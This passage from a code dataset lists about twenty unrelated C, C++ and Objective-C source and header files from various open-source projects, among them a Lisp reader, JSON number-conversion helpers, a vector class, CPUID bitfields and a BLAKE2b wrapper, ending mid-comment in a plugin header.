text stringlengths 4 6.14k |
|---|
/**********************************************************************
This source file is a part of Demi3D
__ ___ __ __ __
| \|_ |\/|| _)| \
|__/|__| || __)|__/
Copyright (c) 2013-2014 Demi team
https://github.com/wangyanxing/Demi3D
Released under the MIT License
https://github.com/wangyanxing/Demi3D/blob/master/License.txt
***********************************************************************/
/// This file is adapted from Ogre 2.0 (unstable version)
#ifndef __Aabb_H__
#define __Aabb_H__
//This file is a proxy, it redirects to the proper file depending on platform
#include "../Array/ArrayConfig.h"
/*#if DEMI_CPU == DEMI_CPU_X86 && defined( DEMI_USE_SIMD )
#if DEMI_DOUBLE_PRECISION == 1
#include "SSE2/Double/Aabb.h"
#else
#include "SSE2/Single/Aabb.h"
#endif
#else*/
#include "C/Aabb.h"
//#endif
#endif
|
//
// ThreadSafeDictionary.h
// YandexTests
//
// Created by Mikhail Igonin on 16.03.15.
// Copyright (c) 2015 2BC Apps. All rights reserved.
//
typedef enum
{
TypeSynchronized = 0,
TypeNSLock,
TypeOSSpinLock,
TypePTMutex,
TypeGCDQueue,
TypeGCDSemaphore
}SyncType;
#import <Foundation/Foundation.h>
@interface ThreadSafeDictionary : NSObject
- (instancetype)initWithType: (SyncType)type;
- (NSUInteger)count;
- (id)objectForKey:(id)aKey;
- (void)removeAllObjects;
- (void)setObject:(id)object forKey:(id)aKey;
@end
|
#pragma once
#ifndef CAL_SVTOOL_H
#define CAL_SVTOOL_H
#include "Stutter.h"
#include "Copier.h"
#include "False.h"
#include "MeasureLine.h"
#include "Normalizer.h"
#include "Sine.h"
class CAL_svtool {
public:
//CALIBRATORF_I is the Calibrator for input functions
//Input (Bool) Stutter, (Bool) Copier, (Bool) False, (Bool) MeasureLine, (Bool) Normalizer, (Bool) Sine
void CALIBRATORF_I(bool, bool, bool, bool, bool, bool);
private:
Stutter _STUTTER_CAL;
Copier _COPIER_CAL;
False _FALSE_CAL;
MeasureLine _MEASURELINE_CAL;
Normalizer _NORMALIZER_CAL;
Sine _SINE_CAL;
};
#endif // !CAL_SVTOOL_H
|
//
// TestViewController.h
// FSScrollContentViewDemo
//
// Created by huim on 2017/5/4.
// Copyright © 2017年 fengshun. All rights reserved.
//
#import <UIKit/UIKit.h>
@interface TestViewController : UIViewController
@end
|
/* _defs/object.h -- This file is part of ooduck
*
* Copyright (C) 2015 David Delassus <david.jose.delassus@gmail.com>
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
#ifndef __OODUCK_DEF_OBJECT_H
#define __OODUCK_DEF_OBJECT_H
/* definitions */
struct Object
{
const struct Class *class;
int refcount;
};
struct VTableEntry
{
const struct Object _;
char *name;
void *func;
};
struct Class
{
const struct Object _;
const char *name;
const struct Class *super;
size_t size;
struct VTableEntry **vtable;
};
#endif /* __OODUCK_DEF_OBJECT_H */
|
/*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
#include "lisp.h"
#include <stdlib.h>
#include <ctype.h>
// Checks if there was an end of file while calling getc
#define READ_FGETC(inp, c) do {\
c = fgetc(inp);\
if (feof(inp)) { \
set_error("Unexpected end-of-file while parsing."); \
return NULL; \
} \
} while(0)
static struct lisp_object *mk_symbol(struct lisp_object *ret, FILE *input, char initial) {
/* Make a base buffer with a reasonable estimate of how big the
* symbol will be.
*/
ungetc(initial, input);
char *text = malloc(BASE_SYMBOL_LENGTH*sizeof(char));
size_t text_size = BASE_SYMBOL_LENGTH;
char in;
int i = 0;
READ_FGETC(input, in);
while (!isspace(in) && in != ')') {
if (i == text_size) {
text_size *= SYMBOL_SCALE_FACTOR;
text = realloc(text, text_size);
}
text[i] = in;
i++;
READ_FGETC(input, in);
}
ungetc(in, input);
if (i == text_size) {
text_size += 1;
text = realloc(text, text_size);
}
text[i] = '\0';
/* Symbol name is now in text */
ret->obj_type = SYMBOL;
ret->data = text;
return ret;
}
struct lisp_object *c_read(FILE *input) {
if (input == NULL) {
input = stdin;
}
struct lisp_object *ret = malloc(sizeof(struct lisp_object));
char initial;
READ_FGETC(input, initial);
/* Skip any whitespace */
while (isspace(initial)) {
READ_FGETC(input, initial);
}
/* Terminates the current list. */
if (initial == ')') {
return NULL;
}
if (initial == '\'') {
ret->quoted = C_TRUE;
/* Read the next character */
READ_FGETC(input, initial);
}
/* List */
if (initial == '(') {
ret->obj_type = LIST;
/* Recursive calls to do another sub-read until we get a NULL
* (')' character).
*/
struct lisp_object *head = c_read(input);
ret->data = head;
struct lisp_object *current = NULL;
struct lisp_object *prev = head;
/* Some special handling for if the list is empty ('()') */
if (head == NULL) {
/* NULL data in a LIST type means () or nil. */
ret->data = NULL;
return ret;
}
while ((current = c_read(input))) {
current->prev = prev;
current->prev->next = current;
current->next = NULL;
prev = current;
}
}
/* Integers */
else if (initial == '-' || isdigit(initial)) {
/* There is a special case in that "-" can be a symbol */
if (initial == '-') {
char checker;
READ_FGETC(input, checker);
/* Therefore, we check if the - is immediately followed by whitespace */
if (isspace(checker)) {
ungetc(checker, input);
if (!mk_symbol(ret, input, initial)) {
set_error("Unexpected end-of-file while parsing.");
return NULL;
}
return ret;
}
ungetc(checker, input);
}
/* Return the character to the stream and read it as an int. */
ungetc(initial, input);
LISPINT *data = malloc(sizeof(LISPINT));
fscanf(input, LISPINT_FORMAT, data);
ret->obj_type = INTEGER;
ret->data = data;
}
/* String */
else if (initial == '"') {
char *text = malloc(BASE_STRINGBUF_LENGTH*sizeof(char));
size_t text_size = BASE_STRINGBUF_LENGTH;
char in;
int i = 0;
READ_FGETC(input, in);
while (in != '"') {
if (i == text_size) {
text_size *= STRINGBUF_SCALE_FACTOR;
text = realloc(text, text_size);
}
text[i] = in;
i++;
READ_FGETC(input, in);
}
/* Terminate the string */
if (i == text_size) {
text_size += 1;
text = realloc(text, text_size);
}
text[i] = '\0';
ret->obj_type = STRING;
ret->data = text;
}
/* Symbol */
else {
if (!mk_symbol(ret, input, initial)) {
set_error("Unexpected end-of-file while parsing.");
return NULL;
}
}
return ret;
}
|
#pragma once
#include "RandomInterface.h"
namespace GustyUtils
{
class GusRandom : public RandomInterface
{
public:
GusRandom( long seed = -1 );
~GusRandom();
void initialize( long seed = -1 );
long random( long maxValue );
};
} |
//
// SettingType.h
// ANMobilePaymentLib
//
// Created by Authorize.Net on 1/12/11.
// Copyright 2011 none. All rights reserved.
//
#import <Foundation/Foundation.h>
@interface SettingType : NSObject {
NSString *name;
NSString *value;
}
@property (nonatomic, retain) NSString *name;
@property (nonatomic, retain) NSString *value;
/**
* Creates an autoreleased object
* @return an autoreleased object.
*/
+ (SettingType *) settingType;
/**
* Validate that fields are valid in terms of length and acceptable values.
* @return BOOL returns whether values are valid.
*/
- (BOOL) isValid;
/**
* NSString of the XML Request for this class
* @return NSString of the XML Request structure for this class.
*/
- (NSString *) stringOfXMLRequest;
@end
|
/**
* Copyright (C) 2013 Mikael Andersson
* Written by Mikael Andersson <qubex2@gmail.com>.
*/
#ifndef EXCEPT_INCLUDED
#define EXCEPT_INCLUDED
#include <setjmp.h>
#define T Except_T
typedef struct T {
const char *reason;
} T;
void Except_raise(const char* e, const char *file, int line);
#define RAISE(e) Except_raise(e, __FILE__, __LINE__)
#undef T
#endif
|
/*
* Generated by class-dump 3.3.4 (64 bit).
*
* class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2011 by Steve Nygard.
*/
#import <IDEModelFoundation/XDUMLNamespaceImp.h>
#import "XDUMLPackage-Protocol.h"
@class XDModel;
@interface XDUMLPackageImp : XDUMLNamespaceImp <XDUMLPackage>
{
XDModel *_model;
}
- (void).cxx_destruct;
- (id)description;
- (void)setModel:(id)arg1;
- (id)model;
- (id)packageForName:(id)arg1;
- (void)removePackage:(id)arg1;
- (void)addPackage:(id)arg1 toQualifierPath:(id)arg2;
- (id)dataTypeForName:(id)arg1;
- (void)addDataType:(id)arg1 toQualifierPath:(id)arg2;
- (id)allInterfaces;
- (id)interfaceForName:(id)arg1;
- (void)removeInterface:(id)arg1;
- (void)addInterface:(id)arg1 toQualifierPath:(id)arg2;
- (id)allClasses;
- (id)classForName:(id)arg1;
- (void)removeClass:(id)arg1;
- (void)addClass:(id)arg1 toQualifierPath:(id)arg2;
- (void)addElement:(id)arg1 toQualifierPath:(id)arg2 withBucketNamed:(id)arg3;
- (id)packageAtQualifierPath:(id)arg1 forceCreation:(BOOL)arg2;
- (BOOL)lazyCreateBucketNamed:(id)arg1;
- (void)addType:(id)arg1;
- (id)nestingPackage;
- (id)nestedPackages;
- (id)ownedTypes;
- (id)ownedMembers;
- (void)deleteElementsBucketWithName:(id)arg1;
- (id)initWithCoder:(id)arg1;
- (void)encodeWithCoder:(id)arg1;
- (void)dealloc;
- (id)initWithModel:(id)arg1;
@end
|
//
// SystemStructViewController.h
// Schneider
//
// Created by GongXuehan on 13-4-15.
// Copyright (c) 2013年 xhgong. All rights reserved.
//
#import "BaseViewController.h"
#import "SystemStructView.h"
#import "SystemManager.h"
#import "CustomObjectModbus.h"
#import "ModbusAuxiliary.h"
@interface SystemStructViewController : BaseViewController <SystemStructViewDelegate>
{
SystemManager *_systemManger;
NSDictionary *_device_information;
NSMutableArray *_marray_modbusObjs;
SystemStructView *_vSystemStruct;
}
@property (nonatomic, retain) NSDictionary *device_information;
@property (nonatomic, retain) NSMutableArray *marray_modbusObjs;
@property (nonatomic, retain) SystemManager *systemManger;
@property (nonatomic, retain) SystemStructView *vSystemStruct;
/*
different handle of different module
*/
- (void)handleTargetFrameClickedEvent:(NSInteger)target_index;
- (void)refreshDeviceStructView;
@end
|
#include <assert.h>
#include <errno.h>
#include <stdio.h>
#include <string.h>
#include "jansson_private.h"
#include "strbuffer.h"
#if JSON_HAVE_LOCALECONV
#include <locale.h>
/*
- This code assumes that the decimal separator is exactly one
character.
- If setlocale() is called by another thread between the call to
localeconv() and the call to sprintf() or strtod(), the result may
be wrong. setlocale() is not thread-safe and should not be used
this way. Multi-threaded programs should use uselocale() instead.
*/
static void to_locale(strbuffer_t *strbuffer)
{
// const char *point;
// char *pos;
// point = localeconv()->decimal_point;
// if(*point == '.') {
// /* No conversion needed */
// return;
// }
// pos = strchr(strbuffer->value, '.');
// if(pos)
// *pos = *point;
}
static void from_locale(char *buffer)
{
// const char *point;
// char *pos;
// point = localeconv()->decimal_point;
// if(*point == '.') {
// /* No conversion needed */
// return;
// }
// pos = strchr(buffer, *point);
// if(pos)
// *pos = '.';
}
#endif
int jsonp_strtod(strbuffer_t *strbuffer, double *out)
{
double value;
char *end;
#if JSON_HAVE_LOCALECONV
to_locale(strbuffer);
#endif
errno = 0;
value = strtod(strbuffer->value, &end);
assert(end == strbuffer->value + strbuffer->length);
if(errno == ERANGE && value != 0) {
/* Overflow */
return -1;
}
*out = value;
return 0;
}
int jsonp_dtostr(char *buffer, size_t size, double value)
{
int ret;
char *start, *end;
size_t length;
ret = snprintf(buffer, size, "%.17g", value);
if(ret < 0)
return -1;
length = (size_t)ret;
if(length >= size)
return -1;
#if JSON_HAVE_LOCALECONV
from_locale(buffer);
#endif
/* Make sure there's a dot or 'e' in the output. Otherwise
a real is converted to an integer when decoding */
if(strchr(buffer, '.') == NULL &&
strchr(buffer, 'e') == NULL)
{
if(length + 3 >= size) {
/* No space to append ".0" */
return -1;
}
buffer[length] = '.';
buffer[length + 1] = '0';
buffer[length + 2] = '\0';
length += 2;
}
/* Remove leading '+' from positive exponent. Also remove leading
zeros from exponents (added by some printf() implementations) */
start = strchr(buffer, 'e');
if(start) {
start++;
end = start + 1;
if(*start == '-')
start++;
while(*end == '0')
end++;
if(end != start) {
memmove(start, end, length - (size_t)(end - buffer));
length -= (size_t)(end - start);
}
}
return (int)length;
}
|
/* Daniel Perry
* originally written in fall 2001 for cs3505
*
*/
#ifndef VECTOR3D_H
#define VECTOR3D_H
#include <cmath>
//#include <assert.h>
#include <iostream>
class vector3d {
public:
vector3d(){ data[0]=0; data[1]=0; data[2]=0; }
vector3d(double e0, double e1, double e2){ data[0]=e0;data[1]=e1;data[2]=e2; }
vector3d(const vector3d &v){ data[0]=v.x(); data[1]=v.y(); data[2]=v.z(); }
vector3d operator = (const vector3d & v){ data[0]=v.x(); data[1]=v.y(); data[2]=v.z(); return (*this);}
double x() const { return data[0]; }
double y() const { return data[1]; }
double z() const { return data[2]; }
void setx( double x ) { data[0]=x; }
void sety( double y ) { data[1]=y; }
void setz( double z ) { data[2]=z; }
const vector3d& operator+() const;
vector3d operator-() const;
double operator[](int i) const;
double& operator[](int i);
vector3d& operator+=(const vector3d &v2);
vector3d& operator-=(const vector3d &v2);
vector3d& operator*=(const double t);
vector3d& operator/=(const double t); // note: not checking for div by zero .
vector3d& operator*=(const vector3d &v2){ //NOT dot or cross product, just multiplying components.
setx( v2.x() * x() );
sety( v2.y() * y() );
setz( v2.z() * z() );
return (*this);
}
double length() const;
double squaredLength() const;
const vector3d & MakeUnitVector();
int indexOfMinComponent() const;
int indexOfMinAbsComponent() const;
int indexOfMaxComponent() const;
int indexOfMaxAbsComponent() const;
double minComponent() const;
double maxComponent() const;
double maxAbsComponent() const;
double minAbsComponent() const;
//private:
double data[3];
};
bool operator==(const vector3d &t1, const vector3d &t2);
bool operator!=(const vector3d &t1, const vector3d &t2);
std::istream &operator>>(std::istream &is, vector3d &t);
std::ostream &operator<<(std::ostream &os, const vector3d &t);
vector3d operator+(const vector3d &v1, const vector3d &v2);
vector3d operator-(const vector3d &v1, const vector3d &v2);
vector3d operator*(double t, const vector3d &v);
vector3d operator*(const vector3d &v, double t);
vector3d operator*(const vector3d & v1 , const vector3d & v2 );//added '05 -NOT DOT OR CROSS PRODUCT - MULTIPLICATION OF SCALAR ELEMENTS...
vector3d operator/(const vector3d &v, double t);
vector3d operator/(const vector3d &v1 , const vector3d &v2);
double dot(const vector3d &v1, const vector3d &v2);
vector3d cross(const vector3d &v1, const vector3d &v2);
vector3d unitVector(const vector3d& v);
double tripleProduct(const vector3d &v1, const vector3d &v2, const vector3d &v3);
typedef vector3d Point;
typedef vector3d Vector;
#endif
|
/*
* file: statevars.h
* created: 20160807
* author(s): mr-augustine
*
* This statevars header file defines the data structure that stores the
* robot's state data. This includes data from GPS, compass, odometer, and
* mobility systems. It also defines the status bits.
*/
#ifndef _STATEVARS_H_
#define _STATEVARS_H_
#include <stdint.h>
#define GPS_SENTENCE_LENGTH 84
#define GPS_DATE_WIDTH 8
// #define PADDING_LENGTH (512-419)
#define STATUS_SYS_TIMER_OVERFLOW (1 << 0);
#define STATUS_MISSION_ACTIVE (1 << 1);
#define STATUS_GPS_NO_BUFF_AVAIL (1 << 2);
#define STATUS_GPS_BUFF_OVERFLOW (1 << 3);
#define STATUS_GPS_UNEXPECT_START (1 << 4);
#define STATUS_GPS_GPGGA_RCVD (1 << 5);
#define STATUS_GPS_GPVTG_RCVD (1 << 6);
#define STATUS_GPS_GPRMC_RCVD (1 << 7);
#define STATUS_GPS_GPGSA_RCVD (1 << 8);
#define STATUS_GPS_NO_FIX_AVAIL (1 << 9);
#define STATUS_GPS_UNEXPECT_VAL (1 << 10);
#define STATUS_GPS_DATA_NOT_VALID (1 << 11);
#define STATUS_MAIN_LOOP_LATE (1 << 12);
typedef struct {
uint32_t prefix;
uint32_t status;
uint32_t main_loop_counter;
char gps_sentence0[GPS_SENTENCE_LENGTH];
char gps_sentence1[GPS_SENTENCE_LENGTH];
char gps_sentence2[GPS_SENTENCE_LENGTH];
char gps_sentence3[GPS_SENTENCE_LENGTH];
float gps_latitude;
float gps_longitude;
float gps_hdop;
float gps_pdop;
float gps_vdop;
float gps_msl_altitude_m;
float gps_true_hdg_deg;
float gps_ground_course_deg;
float gps_speed_kmph;
float gps_ground_speed_kt;
float gps_speed_kt;
uint8_t gps_hours;
uint8_t gps_minutes;
float gps_seconds;
char gps_date[GPS_DATE_WIDTH];
uint8_t gps_satcount;
uint16_t heading_raw;
float heading_deg;
int8_t pitch_deg;
int8_t roll_deg;
uint32_t odometer_ticks;
uint32_t odometer_timestamp;
uint8_t odometer_ticks_are_fwd;
uint16_t mobility_motor_pwm;
uint16_t mobility_steering_pwm;
uint32_t suffix;
} statevars_t;
extern statevars_t statevars;
#endif // #ifndef _STATEVARS_H_
|
#ifndef __CPUID_H__
#define __CPUID_H__
// Copy and paste from
// http://www.linuxquestions.org/questions/programming-9/looking-for-linux-equivalent-of-__cpuid-intrinsic-porting-from-visual-studio-706742/
enum CPUIDInfoType
{
String = 0, FeatureSupport = 1
};
struct CpuidString
{
union
{
int CPUInfo[4];
struct
{
int maxiType;
char IDString[12];
};
};
};
struct CpuidFeatures
{
union
{
int CPUInfo[4];
struct
{
// First ID string
unsigned SteppingID :4;//4 0-3
unsigned Model :4;//8 4-7
unsigned Family :4;//12 8-11
unsigned TypeItl :2;//14 12-13
unsigned Reserved11 :2;//16 14-15
unsigned ExtendedModel :4;//20 16-19
unsigned ExtendedFamily :8;//28 20-27
unsigned Reserved12 :3;//32 28-31
// Second ID string
unsigned BrandIndex :8;//8 0-7
unsigned QwordCFLUSH :8;//16 8-15
unsigned LogicProcCount :8;//24 16-23
unsigned ApicID :8;//32 24-31
// Third ID string
unsigned SSE3 :1;//1 0
unsigned Reserved31 :2;//3 1-2
unsigned MWAIT :1;//4 3
unsigned CPLDebug :1;//5 4
unsigned VMExt :1;//6 5
unsigned SafeModeExt :1;//7 6
unsigned IntelSpeedStep :1;//8 7
unsigned ThermalMonitor :1;//9 8
unsigned SupplSSE3 :1;//10 9
unsigned L1CtxID :1;//11 10
unsigned Reserved32 :1;//12 11
unsigned FMA256 :1;//13 12
unsigned CMPXCHG16B :1;//14 13
unsigned xTPR :1;//15 14
unsigned MSRDebug :1;//16 15
unsigned Reserver32 :2;//18 16-17
unsigned DirectCacheAcc :1;//19 18
unsigned SSE41 :1;//20 19
unsigned SSE42 :1;//21 20
unsigned x2APIC :1;//22 21
unsigned MOVBE :1;//23 22
unsigned POPCNT :1;//24 23
unsigned Reserved33 :1;//25 24
unsigned AESInput :1;//26 25
unsigned XSAVE :1;//27 26
unsigned OSXSAVE :1;//28 27
unsigned AVX256 :1;//29 28
unsigned Reserved34 :3;//31 29-31
// Fourth ID String
unsigned FPU :1;//1 0
unsigned VME :1;//2 1
unsigned DE :1;//3 2
unsigned PSE :1;//4 3
unsigned TSC :1;//5 4
unsigned MSR :1;//6 5
unsigned PAE :1;//7 6
unsigned MCE :1;//8 7
unsigned Cx8 :1;//9 8
unsigned APIC :1;//10 9
unsigned Reserved41 :1;//11 10
unsigned SEP :1;//12 11
unsigned MTTR :1;//13 12
unsigned PGE :1;//14 13
unsigned MCA :1;//15 14
unsigned CMOV :1;//16 15
unsigned PAT :1;//17 16
unsigned PSE36 :1;//18 17
unsigned PSN :1;//19 18
unsigned CFLUSH :1;//20 19
unsigned Reserved42 :1;//21 20
unsigned DS :1;//22 21
unsigned ACPI :1;//23 22
unsigned MMX :1;//24 23
unsigned FXSR :1;//25 24
unsigned SSE :1;//26 25
unsigned SSE2 :1;//27 26
unsigned SS :1;//28 27
unsigned HTT :1;//29 28
unsigned TM :1;//30 29
unsigned Reserved43 :1;//31 30
unsigned PBE :1;//32 31
};
};
};
void GetCpuidString(CpuidString *stringStruct);
void GetCpuidFeatures(CpuidFeatures *featureStruct);
#endif
|
#include "twocats-internal.h"
#if defined(__AVX2__) || defined(__SSE2__)
#include "../blake2-sse/blake2b.c"
#else
#include "../blake2-ref/blake2b-ref.c"
#endif
// Initilized the state.
static bool init(TwoCats_H *H) {
return !blake2b_init(&(H->c.blake2bState), 64);
}
// Update the state.
static bool update(TwoCats_H *H, const uint8_t *data, uint32_t dataSize) {
return !blake2b_update(&(H->c.blake2bState), data, dataSize);
}
// Finalize and write out the result.
static bool final(TwoCats_H *H, uint8_t *hash) {
return !blake2b_final(&(H->c.blake2bState), hash, 64);
}
// Initialize the hashing object for Blake2b hashing.
void TwoCats_InitBlake2b(TwoCats_H *H) {
H->name = "blake2b";
H->size = 64;
H->Init = init;
H->Update = update;
H->Final = final;
}
|
//
// QDC CARAS data definitions
//
#ifndef QDC_CARAS_H
#define QDC_CARAS_H 1
#ifdef __cplusplus
extern "C" {
#endif
typedef enum {
QDC_X1_TYPE_ALIAS = 41,
QDC_X2_TYPE_ALIAS = 42,
QDC_X3_TYPE_ALIAS = 43,
QDC_X4_TYPE_ALIAS = 44,
QDC_TDC_X1_TYPE_ALIAS = 141,
QDC_TDC_X2_TYPE_ALIAS = 142,
QDC_TDC_X3_TYPE_ALIAS = 143,
QDC_TDC_X4_TYPE_ALIAS = 144,
QDC_TOF_X1_TYPE_ALIAS = 241,
QDC_TOF_X2_TYPE_ALIAS = 242,
QDC_TOF_X3_TYPE_ALIAS = 243,
QDC_TOF_X4_TYPE_ALIAS = 244,
QDC_COUNTER_TYPE_ALIAS= 50
} qdc_const;
typedef struct qdc_x1 {
signed q1 : 31;
unsigned q1_saturated : 1;
} qdc_x1;
typedef struct qdc_x2 {
signed q1 : 31;
unsigned q1_saturated : 1;
signed q2 : 31;
unsigned q2_saturated : 1;
} qdc_x2;
typedef struct qdc_x3 {
signed q1 : 31;
unsigned q1_saturated : 1;
signed q2 : 31;
unsigned q2_saturated : 1;
signed q3 : 31;
unsigned q3_saturated : 1;
} qdc_x3;
typedef struct qdc_x4 {
signed q1 : 31;
unsigned q1_saturated : 1;
signed q2 : 31;
unsigned q2_saturated : 1;
signed q3 : 31;
unsigned q3_saturated : 1;
signed q4 : 31;
unsigned q4_saturated : 1;
} qdc_x4;
typedef struct qdc_t_x1 {
signed q1 : 31;
unsigned q1_saturated : 1;
signed tdc : 32;
} qdc_t_x1;
typedef struct qdc_t_x2 {
signed q1 : 31;
unsigned q1_saturated : 1;
signed q2 : 31;
unsigned q2_saturated : 1;
signed tdc : 32;
} qdc_t_x2;
typedef struct qdc_t_x3 {
signed q1 : 31;
unsigned q1_saturated : 1;
signed q2 : 31;
unsigned q2_saturated : 1;
signed q3 : 31;
unsigned q3_saturated : 1;
signed tdc : 32;
} qdc_t_x3;
typedef struct qdc_t_x4 {
signed q1 : 31;
unsigned q1_saturated : 1;
signed q2 : 31;
unsigned q2_saturated : 1;
signed q3 : 31;
unsigned q3_saturated : 1;
signed q4 : 31;
unsigned q4_saturated : 1;
signed tdc : 32;
} qdc_t_x4;
typedef struct qdc_counter {
unsigned calc : 32;
unsigned sent : 32;
} qdc_counter;
// DATA FIELD CONVERSIONS
double qdc_conv_q_mVns (int q);
double qdc_conv_dt_ns (int tdc);
double qx1_get_tdc_sec (qdc_t_x1 qdc);
double qx2_get_tdc_sec (qdc_t_x2 qdc);
double qx3_get_tdc_sec (qdc_t_x3 qdc);
double qx4_get_tdc_sec (qdc_t_x4 qdc);
#ifdef __cplusplus
}
#endif
#endif // QDC_CARAS_H
|
/*
* The OpenDiamond Platform for Interactive Search
*
* Copyright (c) 2002-2007 Intel Corporation
* Copyright (c) 2006 Larry Huston <larry@thehustons.net>
* Copyright (c) 2006-2010 Carnegie Mellon University
* All rights reserved.
*
* This software is distributed under the terms of the Eclipse Public
* License, Version 1.0 which can be found in the file named LICENSE.
* ANY USE, REPRODUCTION OR DISTRIBUTION OF THIS SOFTWARE CONSTITUTES
* RECIPIENT'S ACCEPTANCE OF THIS AGREEMENT
*/
#define _GNU_SOURCE
#include <glib.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include "lf_protocol.h"
static void error_stdio(FILE *f, const char *msg) {
if (feof(f)) {
// g_warning("EOF");
exit(EXIT_SUCCESS);
} else {
perror(msg);
exit(EXIT_FAILURE);
}
}
int lf_get_size(FILE *in) {
char *line = NULL;
size_t n;
int result;
if (getline(&line, &n, in) == -1) {
free(line);
error_stdio(in, "Can't read size");
}
// if there is no string, then return -1
if (strlen(g_strchomp(line)) == 0) {
result = -1;
} else {
result = atoi(line);
}
free(line);
// g_message("size: %d", result);
return result;
}
char *lf_get_string(FILE *in) {
int size = lf_get_size(in);
if (size == -1) {
return NULL;
}
char *result = g_malloc(size + 1);
result[size] = '\0';
if (size > 0) {
if (fread(result, size, 1, in) != 1) {
error_stdio(in, "Can't read string");
}
}
// read trailing '\n'
getc(in);
return result;
}
char **lf_get_strings(FILE *in) {
GSList *list = NULL;
char *str;
while ((str = lf_get_string(in)) != NULL) {
list = g_slist_prepend(list, str);
}
// convert to strv
int len = g_slist_length(list);
char **result = g_new(char *, len + 1);
result[len] = NULL;
list = g_slist_reverse(list);
int i = 0;
while (list != NULL) {
result[i++] = list->data;
list = g_slist_delete_link(list, list);
}
return result;
}
void *lf_get_binary(FILE *in, int *len_OUT) {
int size = lf_get_size(in);
*len_OUT = size;
uint8_t *binary = NULL;
if (size > 0) {
binary = g_malloc(size);
if (fread(binary, size, 1, in) != 1) {
error_stdio(in, "Can't read binary");
}
}
if (size != -1) {
// read trailing '\n'
getc(in);
}
return binary;
}
void lf_send_binary(FILE *out, int len, const void *data) {
if (fprintf(out, "%d\n", len) == -1) {
error_stdio(out, "Can't write binary length");
}
if (fwrite(data, len, 1, out) != 1) {
error_stdio(out, "Can't write binary");
}
if (fprintf(out, "\n") == -1) {
error_stdio(out, "Can't write end of binary");
}
if (fflush(out) != 0) {
error_stdio(out, "Can't flush");
}
}
void lf_send_tag(FILE *out, const char *tag) {
if (fprintf(out, "%s\n", tag) == -1) {
error_stdio(out, "Can't write tag");
}
if (fflush(out) != 0) {
error_stdio(out, "Can't flush");
}
}
void lf_send_int(FILE *out, int i) {
char *str = g_strdup_printf("%d", i);
lf_send_string(out, str);
g_free(str);
}
void lf_send_string(FILE *out, const char *str) {
int len = strlen(str);
if (fprintf(out, "%d\n%s\n", len, str) == -1) {
error_stdio(out, "Can't write string");
}
if (fflush(out) != 0) {
error_stdio(out, "Can't flush");
}
}
bool lf_get_boolean(FILE *in) {
char *str = lf_get_string(in);
if (str == NULL) {
g_warning("Can't get boolean");
exit(EXIT_FAILURE);
}
bool result = (strcmp(str, "true") == 0);
g_free(str);
return result;
}
void lf_send_blank(FILE *out) {
if (fprintf(out, "\n") == -1) {
error_stdio(out, "Can't write blank");
}
if (fflush(out) != 0) {
error_stdio(out, "Can't flush");
}
}
void lf_get_blank(FILE *in) {
if (lf_get_string(in) != NULL) {
g_warning("Expecting blank");
exit(EXIT_FAILURE);
}
}
double lf_get_double(FILE *in) {
char *s = lf_get_string(in);
if (s == NULL) {
g_warning("Expecting double");
exit(EXIT_FAILURE);
}
double d = g_ascii_strtod(s, NULL);
g_free(s);
return d;
}
void lf_send_double(FILE *out, double d) {
char buf[G_ASCII_DTOSTR_BUF_SIZE];
lf_send_string(out, g_ascii_dtostr (buf, sizeof (buf), d));
}
|
/*! \file
Copyright Notice:
Copyright (C) 1990-2016, International Business Machines
Corporation and others. All rights reserved
*/
#ifndef _OtmMarkupTablePlugin_H_
#define _OtmMarkupTablePlugin_H_
#include "core\pluginmanager\OtmMarkupPlugin.h"
#include "core\pluginmanager\OtmMarkup.h"
#include "core\utilities\LogWriter.h"
#include "OtmMarkupTable.h"
class OtmMarkup;
class OtmMarkupTablePlugin: public OtmMarkupPlugin
/*! \brief Translation memory plugin
This plugin implements the OTM markup table plugin for OpenTM2.
*/
{
public:
/*! \brief Constructor
*/
OtmMarkupTablePlugin();
/*! \brief Destructor
*/
~OtmMarkupTablePlugin();
/*! \brief Returns the name of the plugin
*/
virtual const char* getName();
/*! \brief Returns a short plugin description
*/
virtual const char* getShortDescription();
/*! \brief Returns a short plugin name
*/
virtual const char* getShortName();
/*! \brief Returns a verbose plugin description
*/
virtual const char* getLongDescription();
/*! \brief Returns plugin directory name
*/
virtual const char* getPluginDirectory();
/*! \brief Returns markup table TBL directory name
*/
virtual const char* getTableDirectory();
/*! \brief Returns markup table TBL directory path
*/
virtual const char* getTablePath();
/*! \brief Returns markup table user exit directory name
*/
virtual const char* getUserExitDirectory();
/*! \brief Returns markup table user exit directory path
*/
virtual const char* getUserExitPath();
/*! \brief Returns the version of the plugin
*/
virtual const char* getVersion();
/*! \brief Returns the name of the plugin-supplier
*/
virtual const char* getSupplier();
/*! \brief Returns the names of all files which make up this markup table
*/
virtual const char* getAllFiles();
/*! \brief Returns TRUE if the markup table can be exported
*/
virtual const bool isExportable();
/*! \brief Returns TRUE if the markup table can be imported
*/
virtual const bool isImportable();
/*! \brief Returns TRUE if the markup table can be deleted
*/
virtual const bool isDeletable();
/*! \brief Returns TRUE if the markup table is protected
*/
virtual const bool isProtected();
/*! \brief Returns TRUE if the markup table is expired
*/
virtual const bool isExpired();
/*! \brief Returns 1 if the markup table files were updated
*/
virtual const int updateFiles(
char *pszMarkupName,
char *pszShortDescription,
char *pszLongDescription,
char *pszVersion,
char *pszTableFileName,
char *pszUserExitFileName,
char *pszFileList
);
/*! \brief Returns 1 if the markup table information was updated
*/
virtual const int updateInfo(
char *pszMarkupName,
char *pszShortDescription,
char *pszLongDescription,
char *pszVersion,
char *pszUserExitFileName
);
/*! \brief Returns TRUE if the markup table was deleted
*/
virtual const bool deleteMarkup(
char *pszMarkupName
);
/*! \brief Get the number of markup tables provided by this plugin
\returns Number of markup tables
*/
int getCount();
/*! \brief Get the markup table at the given index
\param iIndex index of the markup table in the range 0 to (getCount - 1)
